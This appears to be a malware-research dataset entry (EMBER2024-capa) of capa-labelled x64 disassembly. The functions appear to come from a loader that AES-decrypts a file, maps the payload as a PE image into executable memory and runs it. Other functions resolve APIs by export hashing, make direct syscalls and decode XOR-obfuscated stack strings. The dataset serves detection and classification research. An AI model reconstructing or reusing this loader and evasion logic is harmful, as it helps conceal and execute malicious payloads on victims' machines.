joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180044dd0
Capabilities:
Check os version
Parse pe header
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x58
mov rax, qword gs:[0x60]
mov qword [rsp + 0x10], rax
cmp qword [rsp + 0x10], 0
je 0x180044df8
mov rax, qword [rsp + 0x10]
cmp dword [rax + 0x118], 0xa
je 0x180044dff
xor eax, eax
jmp 0x180044f4e
mov rax, qword [rsp + 0x10]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov rax, qword [rax]
sub rax, 0x10
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov rax, qword [rax + 0x30]
mov qword [rsp], rax
cmp qword [rsp], 0
jne 0x180044e33
xor eax, eax
jmp 0x180044f4e
mov rax, qword [rsp]
mov qword [rsp + 0x18], rax
mov rax, qword [rsp + 0x18]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x180044e52
xor eax, eax
jmp 0x180044f4e
mov rax, qword [rsp + 0x18]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0x4550
je 0x180044e7e
xor eax, eax
jmp 0x180044f4e
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rsp + 0x20]
mov eax, dword [rcx + rax + 0x88]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 8], rax
cmp qword [rsp + 8], 0
jne 0x180044eb1
xor eax, eax
jmp 0x180044f4e
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x1c]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x20]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 0x24]
mov rcx, qword [rsp]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
mov rax, qword [rsp]
mov qword [0x180048140], rax
mov rax, qword [rsp + 0x18]
mov qword [0x180048148], rax
mov rax, qword [rsp + 0x20]
mov qword [0x180048150], rax
mov rax, qword [rsp + 8]
mov qword [0x180048158], rax
mov rax, qword [rsp + 0x30]
mov qword [0x180048160], rax
mov rax, qword [rsp + 0x38]
mov qword [0x180048168], rax
mov rax, qword [rsp + 0x40]
mov qword [0x180048170], rax
mov eax, 1
add rsp, 0x58
ret

Function at 0x1800455f1
Capabilities:
Execute syscall

Disassembly:
mov rax, rcx
mov r10, rax
mov eax, dword [0x1800480d0]
syscall
ret
Function at 0x140001490
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push rsi
push rbx
sub rsp, 0x58
mov r9d, 0x18
mov dword [rsp + 0x78], edx
mov rsi, rcx
mov rbx, r8
xor edx, edx
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
lea rcx, [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x14000159c
lea rax, [rsp + 0x48]
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001622
xor r9d, r9d
mov rcx, qword [rsp + 0x48]
mov r8d, 0x20
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001611
lea rax, [rsp + 0x40]
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x38]
mov r9d, 1
mov qword [rsp + 0x20], rax
mov edx, 0x6610
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x1400015f0
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
lea rax, [rsp + 0x78]
xor r9d, r9d
xor edx, edx
mov qword [rsp + 0x28], rax
mov rcx, qword [rsp + 0x40]
mov r8d, 1
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x1400015ba
mov edx, dword [rsp + 0x78]
mov rax, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x40]
mov dword [rax], edx
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
nop
add rsp, 0x58
pop rbx
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._ERROR__CryptAcquireContext_failed._GetLastError:__d_n
mov edx, eax
call fcn.140002880
mov ecx, 1
call sub.msvcrt.dll_exit
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._ERROR__CryptDecrypt_failed._GetLastError:__d_n
mov edx, eax
call fcn.140002880
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rsp + 0x38]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, 1
call sub.msvcrt.dll_exit
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._ERROR__CryptDeriveKey_failed._GetLastError:__d_n
mov edx, eax
call fcn.140002880
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x1400015d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._ERROR__CryptHashData_failed._GetLastError:__d_n
mov edx, eax
jmp 0x1400015ff
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._ERROR__CryptCreateHash_failed._GetLastError:__d_n
mov edx, eax
call fcn.140002880
jmp 0x1400015d9
Function at 0x140001640
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Parse pe header

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
lea rcx, str._LOG__Mapping_de_limage_PE_en_m
call fcn.140002880
cmp word [rsi], 0x5a4d
jne 0x140001745
movsxd rdi, dword [rsi + 0x3c]
add rdi, rsi
cmp dword [rdi], 0x4550
jne 0x140001732
mov edx, dword [rdi + 0x50]
mov r9d, 0x40
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
je 0x140001753
mov r8d, dword [rdi + 0x54]
mov rdx, rsi
mov rcx, rax
xor r12d, r12d
call sub.msvcrt.dll_memcpy
movsxd rax, dword [rsi + 0x3c]
cmp word [rdi + 6], 0
lea rbx, [rsi + rax + 0x114]
je 0x1400016e5
nop
mov ecx, dword [rbx]
mov edx, dword [rbx + 8]
add r12d, 1
add rbx, 0x28
mov r8d, dword [rbx - 0x24]
add rcx, rbp
add rdx, rsi
call sub.msvcrt.dll_memcpy
movzx eax, word [rdi + 6]
cmp eax, r12d
jg 0x1400016c0
lea rcx, str._LOG__Sections_mapp
call fcn.140002880
mov ebx, dword [rdi + 0x28]
lea rcx, str._LOG__Point_dentr
add rbx, rbp
mov rdx, rbx
call fcn.140002880
lea rcx, str._LOG__Ex
call fcn.140002880
call rbx
mov r8d, 0x8000
xor edx, edx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
lea rcx, str._ERROR__Signature_NT_invalide._n
call fcn.140002880
mov eax, 0xffffffff
jmp 0x140001727
lea rcx, str._ERROR__Signature_DOS_invalide._n
call fcn.140002880
jmp 0x14000173e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str._ERROR__VirtualAlloc_pour_limage_PE
mov edx, eax
call fcn.140002880
jmp 0x14000173e

Function at 0x140001a30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400084b0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400084b0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140001aa0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000e0a4]
mov rbx, rcx
test esi, esi
jle 0x140001bd0
mov rax, qword [0x14000e0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001aeb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001b75
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001ad0
mov rcx, rbx
call fcn.140002560
mov rdi, rax
test rax, rax
je 0x140001bf2
mov rax, qword [0x14000e0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400026a0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000e0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001bd7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001b6e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001b80
add dword [0x14000e0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000e0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001b6e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001a30
nop dword [rax]
xor esi, esi
jmp 0x140001af8
mov rax, qword [0x14000e0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001a30
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001a30
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400021a0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000e100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000e0e0]
test rbx, rbx
je 0x140002204
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop word cs:[rax + rax]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400021fb
test eax, eax
jne 0x1400021fb
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400021e0
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002560
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000aa70]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002580
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002588
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002580
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400025dd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400025d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002580
add rax, 0x28
cmp rax, r9
jne 0x1400025c0
xor eax, eax
ret

Function at 0x1400025e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000aa70]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400025ff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002608
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400025ff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400026a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000aa70]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400026bf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400026c8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400086b0
Capabilities:
Read file on windows

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x78
mov esi, ecx
mov rbx, rdx
call fcn.140001840
cmp esi, 2
jne 0x140008810
mov rsi, qword [rbx + 8]
lea rcx, str._LOG__Lecture_du_fichier_chiffr
mov rdx, rsi
call fcn.140002880
lea rdx, [0x14000a2ba]
mov rcx, rsi
call sub.msvcrt.dll_fopen
mov rbx, rax
test rax, rax
je 0x140008824
lea r12, [rsp + 0x50]
mov r9, rax
mov r8d, 0x20
mov edx, 1
mov rcx, r12
lea r13, [rsp + 0x40]
call sub.msvcrt.dll_fread
mov r9, rbx
mov edx, 1
mov rcx, r13
mov r8d, 0x10
call sub.msvcrt.dll_fread
xor edx, edx
mov r8d, 2
mov rcx, rbx
call sub.msvcrt.dll_fseek
mov rcx, rbx
call sub.msvcrt.dll_ftell
xor r8d, r8d
mov edx, 0xb0
mov rcx, rbx
lea ebp, [rax - 0xb0]
call sub.msvcrt.dll_fseek
mov rcx, rbp
call sub.msvcrt.dll_malloc
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
mov rsi, rax
call sub.msvcrt.dll_fread
mov rcx, rbx
call sub.msvcrt.dll_fclose
lea rcx, str._LOG__D
call fcn.140002880
mov rcx, rbp
call sub.msvcrt.dll_malloc
mov r8, rbp
mov rdx, rsi
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_memcpy
lea rax, [rsp + 0x3c]
mov edx, ebp
mov r9, r13
mov qword [rsp + 0x20], rax
mov r8, r12
mov rcx, rbx
call fcn.140001490
lea rcx, str._LOG__Injection_du_payload_par_mappage_PE..._n
call fcn.140002880
mov edx, dword [rsp + 0x3c]
mov rcx, rbx
call fcn.140001640
cmp eax, 0xffffffff
je 0x140008802
mov rcx, rsi
call sub.msvcrt.dll_free
mov rcx, rbx
call sub.msvcrt.dll_free
xor eax, eax
add rsp, 0x78
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret
lea rcx, str._ERROR_
call fcn.140002880
jmp 0x1400087e3
mov rdx, qword [rbx]
lea rcx, str._ERROR__Usage:__s__encrypted_file__n
call fcn.140002880
or eax, 0xffffffff
jmp 0x1400087f5
mov rdx, rsi
lea rcx, str._ERROR__Impossible_douvrir_le_fichier_:__s_n
call fcn.140002880
jmp 0x14000881f
Function at 0x1400022e0
Capabilities:
Access peb ldr_data

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
mov edi, ecx
mov rax, qword gs:[0x60]
mov rsi, qword [rax + 0x18]
add rsi, 0x10
xor r14d, r14d
mov rbx, rsi
mov rbx, qword [rbx]
cmp rbx, rsi
je 0x140002322
movzx edx, word [rbx + 0x58]
mov rcx, qword [rbx + 0x60]
mov r8b, 1
call fcn.140002330
cmp eax, edi
jne 0x140002302
mov r14, qword [rbx + 0x30]
mov rax, r14
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x1400024c0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov esi, r8d
mov rdi, rcx
cmp edx, 1
jne 0x1400024fd
mov rbx, qword [0x14002dc98]
test rbx, rbx
jne 0x14000256b
mov ecx, 0x4b1ffe8e
call fcn.1400022e0
mov rbx, rax
mov qword [0x14002dc98], rax
test rax, rax
jne 0x14000256b
jmp 0x14000250c
test rdi, rdi
jne 0x140002511
mov ecx, edx
call fcn.140002682
mov rdi, rax
test rdi, rdi
je 0x140002569
cmp byte [rdi], 0
je 0x140002569
xor ecx, ecx
mov edx, 1
mov r8d, 0xa48d6762
mov r9d, 0x2b
call fcn.14000269b
test rax, rax
je 0x140002540
mov rcx, rdi
call rax
mov rbx, rax
test rax, rax
jne 0x14000256b
xor ebx, ebx
xor ecx, ecx
mov edx, 1
mov r8d, 0xc8ac8026
mov r9d, 2
call fcn.14000269b
test rax, rax
je 0x14000256b
mov rcx, rdi
call rax
mov rbx, rax
jmp 0x14000256b
xor ebx, ebx
test esi, esi
je 0x140002580
mov rcx, rbx
mov edx, esi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp 0x14000258b
mov rax, rbx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov ebx, edx
mov rsi, rcx
movsxd rax, dword [rcx + 0x3c]
mov edi, dword [rcx + rax + 0x88]
mov ebp, dword [rcx + rax + 0x8c]
add rdi, rcx
cmp edx, 0x10000
jae 0x1400025c4
sub ebx, dword [rdi + 0x10]
jns 0x140002623
jmp 0x140002613
cmp dword [rdi + 0x18], 0
je 0x140002613
mov qword [rsp + 0x20], rbp
movabs r12, 0xfc0be0435e8e0113
mov ebp, dword [rdi + 0x20]
mov r13d, dword [rdi + 0x24]
add r13, rsi
add rbp, rsi
xor r15d, r15d
xor r14d, r14d
mov ecx, dword [rbp + r14*4]
add rcx, r12
add rcx, rsi
sub rcx, r12
xor edx, edx
xor r8d, r8d
call fcn.140002857
cmp eax, ebx
je 0x140002618
inc r14
cmp r14d, dword [rdi + 0x18]
jb 0x1400025ec
jmp 0x14000266e
xor r15d, r15d
jmp 0x14000266e
movzx ebx, word [r13 + r14*2]
mov rbp, qword [rsp + 0x20]
mov eax, dword [rdi + 0x1c]
movabs rcx, 0x9d87abca07dc0089
sub rax, rcx
add rax, rsi
mov edx, ebx
lea rax, [rax + rdx*4]
mov r15d, dword [rcx + rax]
add r15, rsi
cmp r15, rdi
jbe 0x14000266e
movabs rax, 0xa03d07294661974c
mov rcx, r15
sub rcx, rax
sub rcx, rdi
add rcx, rax
cmp rcx, rbp
jae 0x14000266e
mov rcx, r15
call fcn.1400023f2
mov r15, rax
mov rax, r15
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x14000258b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0x20
mov esi, r8d
mov rdi, rcx
cmp edx, 1
jne 0x1400024fd
mov rbx, qword [0x14002dc98]
test rbx, rbx
jne 0x14000256b
mov ecx, 0x4b1ffe8e
call fcn.1400022e0
mov rbx, rax
mov qword [0x14002dc98], rax
test rax, rax
jne 0x14000256b
jmp 0x14000250c
test rdi, rdi
jne 0x140002511
mov ecx, edx
call fcn.140002682
mov rdi, rax
test rdi, rdi
je 0x140002569
cmp byte [rdi], 0
je 0x140002569
xor ecx, ecx
mov edx, 1
mov r8d, 0xa48d6762
mov r9d, 0x2b
call fcn.14000269b
test rax, rax
je 0x140002540
mov rcx, rdi
call rax
mov rbx, rax
test rax, rax
jne 0x14000256b
xor ebx, ebx
xor ecx, ecx
mov edx, 1
mov r8d, 0xc8ac8026
mov r9d, 2
call fcn.14000269b
test rax, rax
je 0x14000256b
mov rcx, rdi
call rax
mov rbx, rax
jmp 0x14000256b
xor ebx, ebx
test esi, esi
je 0x140002580
mov rcx, rbx
mov edx, esi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp 0x14000258b
mov rax, rbx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov ebx, edx
mov rsi, rcx
movsxd rax, dword [rcx + 0x3c]
mov edi, dword [rcx + rax + 0x88]
mov ebp, dword [rcx + rax + 0x8c]
add rdi, rcx
cmp edx, 0x10000
jae 0x1400025c4
sub ebx, dword [rdi + 0x10]
jns 0x140002623
jmp 0x140002613
cmp dword [rdi + 0x18], 0
je 0x140002613
mov qword [rsp + 0x20], rbp
movabs r12, 0xfc0be0435e8e0113
mov ebp, dword [rdi + 0x20]
mov r13d, dword [rdi + 0x24]
add r13, rsi
add rbp, rsi
xor r15d, r15d
xor r14d, r14d
mov ecx, dword [rbp + r14*4]
add rcx, r12
add rcx, rsi
sub rcx, r12
xor edx, edx
xor r8d, r8d
call fcn.140002857
cmp eax, ebx
je 0x140002618
inc r14
cmp r14d, dword [rdi + 0x18]
jb 0x1400025ec
jmp 0x14000266e
xor r15d, r15d
jmp 0x14000266e
movzx ebx, word [r13 + r14*2]
mov rbp, qword [rsp + 0x20]
mov eax, dword [rdi + 0x1c]
movabs rcx, 0x9d87abca07dc0089
sub rax, rcx
add rax, rsi
mov edx, ebx
lea rax, [rax + rdx*4]
mov r15d, dword [rcx + rax]
add r15, rsi
cmp r15, rdi
jbe 0x14000266e
movabs rax, 0xa03d07294661974c
mov rcx, r15
sub rcx, rax
sub rcx, rdi
add rcx, rax
cmp rcx, rbp
jae 0x14000266e
mov rcx, r15
call fcn.1400023f2
mov r15, rax
mov rax, r15
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x14000269b
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rsi
sub rsp, 0x20
mov r10, qword [0x14002dc90]
test r10, r10
setne r11b
lea esi, [r9 - 1]
cmp esi, 0x239
setb al
cmp r11b, al
jne 0x1400026ea
cmp esi, 0x238
ja 0x1400026ea
mov esi, r9d
mov rax, qword [r10 + rsi*8]
test rax, rax
jne 0x1400026e4
call fcn.1400024c0
mov rcx, qword [0x14002dc90]
mov qword [rcx + rsi*8], rax
add rsp, 0x20
pop rsi
ret
add rsp, 0x20
pop rsi
jmp fcn.1400024c0
Function at 0x140003ee6
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rbx
sub rsp, 0x58
mov rax, qword [0x14002d248]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x40], 0x54
mov al, 0x66
mov byte [rsp + 0x41], al
mov cl, 0x75
mov byte [rsp + 0x42], cl
mov byte [rsp + 0x43], 0x47
mov dl, 0x6a
mov byte [rsp + 0x44], dl
mov byte [rsp + 0x45], 0x6d
mov byte [rsp + 0x46], al
mov byte [rsp + 0x47], 0x51
mov byte [rsp + 0x48], 0x70
mov byte [rsp + 0x49], dl
mov byte [rsp + 0x4a], 0x6f
mov byte [rsp + 0x4b], cl
mov byte [rsp + 0x4c], al
mov byte [rsp + 0x4d], 0x73
mov byte [rsp + 0x4e], 0
xor eax, eax
dec byte [rsp + rax + 0x40]
inc rax
cmp rax, 0xe
jne 0x140003f47
lea rcx, [rsp + 0x2c]
mov dword [rcx - 4], 0x25
mov byte [rcx], 0x6e
mov al, 0x40
mov byte [rcx + 1], al
mov byte [rcx + 2], 0x57
mov byte [rcx + 3], 0x4b
mov byte [rcx + 4], al
mov al, 0x49
mov byte [rcx + 5], al
mov byte [rcx + 6], 0x16
mov byte [rcx + 7], 0x17
mov byte [rcx + 8], 0xb
mov byte [rcx + 9], 0x41
mov byte [rcx + 0xa], al
mov byte [rcx + 0xb], al
mov byte [rcx + 0xc], 0
mov eax, 4
xor r11d, r11d
mov r8b, 0xff
mov r9b, 0x86
mov r10b, 0x79
mov dl, byte [rsp + rax + 0x28]
mov esi, dword [rsp + 0x28]
mov ebx, edx
xor bl, r8b
and bl, r9b
and dl, r10b
or dl, bl
mov ebx, esi
xor bl, r8b
and bl, r9b
and sil, r10b
or sil, bl
xor sil, dl
mov byte [rsp + rax + 0x28], sil
inc r11
inc rax
cmp rax, 0x10
jne 0x140003fa3
mov byte [rsp + 0x38], 0
lea rdx, [rsp + 0x40]
call fcn.140002ed4
mov rsi, rax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140009dd0
mov rax, rsi
add rsp, 0x58
pop rbx
pop rsi
ret
Function at 0x140004004
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push rsi
push rbx
sub rsp, 0x58
mov rax, qword [0x14002d248]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov byte [rsp + 0x38], 0x4c
mov byte [rsp + 0x39], 0x7b
mov al, 0x6e
mov byte [rsp + 0x3a], al
mov cl, 0x6a
mov byte [rsp + 0x3b], cl
mov byte [rsp + 0x3c], 0x7d
mov byte [rsp + 0x3d], al
mov byte [rsp + 0x3e], 0x4f
mov dl, 0x72
mov byte [rsp + 0x3f], dl
mov byte [rsp + 0x40], 0x75
mov byte [rsp + 0x41], al
mov byte [rsp + 0x42], 0x56
mov byte [rsp + 0x43], cl
mov al, 0x79
mov byte [rsp + 0x44], al
mov byte [rsp + 0x45], al
mov byte [rsp + 0x46], dl
mov byte [rsp + 0x47], 0x77
mov byte [rsp + 0x48], 0x70
mov byte [rsp + 0x49], 0x4a
mov byte [rsp + 0x4a], 0
xor eax, eax
add byte [rsp + rax + 0x38], 0xf7
inc rax
cmp rax, 0x12
jne 0x140004079
lea rcx, [rsp + 0x24]
mov dword [rcx - 4], 0x36
mov byte [rcx], 0x7d
mov al, 0x53
mov byte [rcx + 1], al
mov byte [rcx + 2], 0x44
mov byte [rcx + 3], 0x58
mov byte [rcx + 4], al
mov al, 0x5a
mov byte [rcx + 5], al
mov byte [rcx + 6], 5
mov byte [rcx + 7], 4
mov byte [rcx + 8], 0x18
mov byte [rcx + 9], 0x52
mov byte [rcx + 0xa], al
mov byte [rcx + 0xb], al
mov byte [rcx + 0xc], 0
mov eax, 4
xor r11d, r11d
mov r8b, 0xff
mov r9b, 0x2d
mov r10b, 0xd2
mov dl, byte [rsp + rax + 0x20]
mov esi, dword [rsp + 0x20]
mov ebx, edx
xor bl, r8b
and bl, r9b
and dl, r10b
or dl, bl
mov ebx, esi
xor bl, r8b
and bl, r9b
and sil, r10b
or sil, bl
xor sil, dl
mov byte [rsp + rax + 0x20], sil
inc r11
inc rax
cmp rax, 0x10
jne 0x1400040d6
mov byte [rsp + 0x30], 0
lea rdx, [rsp + 0x38]
call fcn.140002ed4
mov rsi, rax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140009dd0
mov rax, rsi
add rsp, 0x58
pop rbx
pop rsi
ret
Function at 0x140004136
Capabilities:
Encode data using xor

Disassembly:
push rsi
sub rsp, 0x50
mov rax, qword [0x14002d248]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0x34]
mov dword [rdx - 4], 0x42
mov byte [rdx], 0xf
mov byte [rdx + 1], 0x23
mov byte [rdx + 2], 0x32
mov byte [rdx + 3], 0x14
mov al, 0x2b
mov byte [rdx + 4], al
mov cl, 0x27
mov byte [rdx + 5], cl
mov byte [rdx + 6], 0x35
mov byte [rdx + 7], 0xd
mov byte [rdx + 8], 0x24
mov byte [rdx + 9], 4
mov byte [rdx + 0xa], al
mov byte [rdx + 0xb], 0x2e
mov byte [rdx + 0xc], cl
mov byte [rdx + 0xd], 0
xor r11d, r11d
mov r8b, 0xff
mov r9b, 0x26
mov r10b, 0xd9
mov al, byte [rsp + r11 + 0x34]
mov esi, dword [rsp + 0x30]
mov ecx, eax
xor cl, r8b
and cl, r9b
and al, r10b
or al, cl
mov ecx, esi
xor cl, r8b
and cl, r9b
and sil, r10b
or sil, cl
xor sil, al
mov byte [rsp + r11 + 0x34], sil
inc r11
cmp r11, 0xd
jne 0x140004199
mov byte [rsp + 0x41], 0
mov byte [rsp + 0x20], 0x53
mov al, 0x6d
mov byte [rsp + 0x21], al
mov byte [rsp + 0x22], 0x7a
mov byte [rsp + 0x23], 0x76
mov byte [rsp + 0x24], al
mov al, 0x74
mov byte [rsp + 0x25], al
mov byte [rsp + 0x26], 0x3b
mov byte [rsp + 0x27], 0x3a
mov byte [rsp + 0x28], 0x36
mov byte [rsp + 0x29], 0x6c
mov byte [rsp + 0x2a], al
mov byte [rsp + 0x2b], al
mov byte [rsp + 0x2c], 0
xor eax, eax
add byte [rsp + rax + 0x20], 0xf8
inc rax
cmp rax, 0xc
jne 0x140004215
lea rcx, [rsp + 0x20]
call fcn.140002ed4
mov rsi, rax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140009dd0
mov rax, rsi
add rsp, 0x50
pop rsi
ret